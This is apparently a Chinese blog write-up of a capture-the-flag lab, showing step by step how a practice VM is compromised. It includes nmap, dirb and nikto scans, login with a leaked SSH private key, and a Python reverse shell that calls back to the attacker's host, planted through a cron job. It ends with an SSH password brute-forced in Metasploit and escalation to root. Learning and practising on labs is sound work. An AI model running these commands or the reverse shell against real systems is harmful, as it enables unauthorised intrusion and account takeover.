声明:此博客只是记录自己的ctf学习过程,请勿用于非法途径。
ssh协议认证机制的弱点主要体现在两个方面:
一是基于口令验证时可以采用字典的暴力破解,即破解对应用户名和密码;
二是通过对主机的信息收集,获取到泄露的用户名和对应的密钥。
这次我们靶场的IP地址为192.168.31.95
探测靶场开放的服务与服务的版本:
nmap -sV 192.168.31.95

探测靶场全部信息:
nmap -A 192.168.31.95
探测靶场的操作系统类型与版本:
nmap -O 192.168.31.95
发现开放了http服务,先从这一块下手:
直接通过浏览器访问:

通过dirb进行目录扫描:
dirb http://192.168.31.95

发现值得点开看看的目录文件,第二个打开链接后:

发现了一个奇怪名字的txt
点开,发现是私钥信息:

也可以使用nikto去挖掘信息:
nikto -host 192.168.31.95
对于刚才挖掘到的私钥信息,我们可以用其来进行远程登陆。
先下载刚才发现的私钥文件并重命名以方便操作:
wget "http://192.168.31.95/icons/"
mv VDSoyuAXiO.txt id_rsa
修改权限:
chmod 600 id_rsa
用户名在哪儿呢?
尝试使用之前http信息收集时网站页面上的martin用户:
ssh -i id_rsa martin@192.168.31.95

登陆成功,并查看一下文件。

切换到/home目录,看看有哪些用户。
一般情况下呢,flag文件只属于root用户以及对应的用户组。
通过id命令查看权限,发现martin仅仅是普通用户,并不具有root权限:

所以我们需要进一步的提权。
查看所有用户:
cat /etc/passwd
查看所有用户组:
cat /etc/group
查看属于某些用户的文件:
find / -user 用户名
在ctf中我们常常要注意/etc/crontab文件。
cat /etc/crontab
挖掘其他用户是否有定时任务,并查看对应的任务内容。这种任务一般对应靶机的某个文件。
那么如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
如果有定时执行的文件,可以切换到对应的目录,查看对应的权限以及当前用户是否具有读写权限。

发现有一个jimmy用户的定时任务,但是/tmp目录下并没有这个文件

我们可以构造反弹shell,代码如下:
#!/usr/bin/python import os,subprocess,socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.31.113","4444")) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
在靶机的/tmp目录下直接通过touch命令新建sekurity.py文件,并通过vi更改内容,将上段反弹shell写入sekurity.py内。
攻击机则在终端中使用netcat命令进行监听:
nc -lvp 4444
最好事先查看一下未被占用的端口号:
netstat -pantu
然后等待反弹。
然后发现变成以Jimmy登录服务器了,可惜还是不是root权限,只是个普通用户,并且没有对应的密码和账号。
martin和jimmy都不行,那就只好暴力破解最后一个用户名hadi了。
暴力破解
先利用cupp创建字典文件:
git clone https://github.com/jeanphorn/common-password.git chmod +x cupp.py ./cupp.py -i

字典文件创建成功。
然后使用metasploit结合上述字典文件破解ssh
msfconsole
msf5 > use auxiliary/scanner/ssh/ssh_login
msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.31.95
msf5 auxiliary(scanner/ssh/ssh_login) > set username hadi
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/Desktop/common-password/hadi.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set threads 5
msf5 auxiliary(scanner/ssh/ssh_login) > set verbose true
msf5 auxiliary(scanner/ssh/ssh_login) > run
开始暴力破解。
最后破解成功,密码为hadi123
打开会话:
msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
这种显示方式并不友好,优化一下:
python -c "import pty;pty.spawn('/bin/bash')"

显示效果好了很多。
因为我们知道密码了,所以直接使用提权命令:
su - root

提权成功并获得root权限,然后查看flag文件:

此题结。
浙公网安备 33010602011771号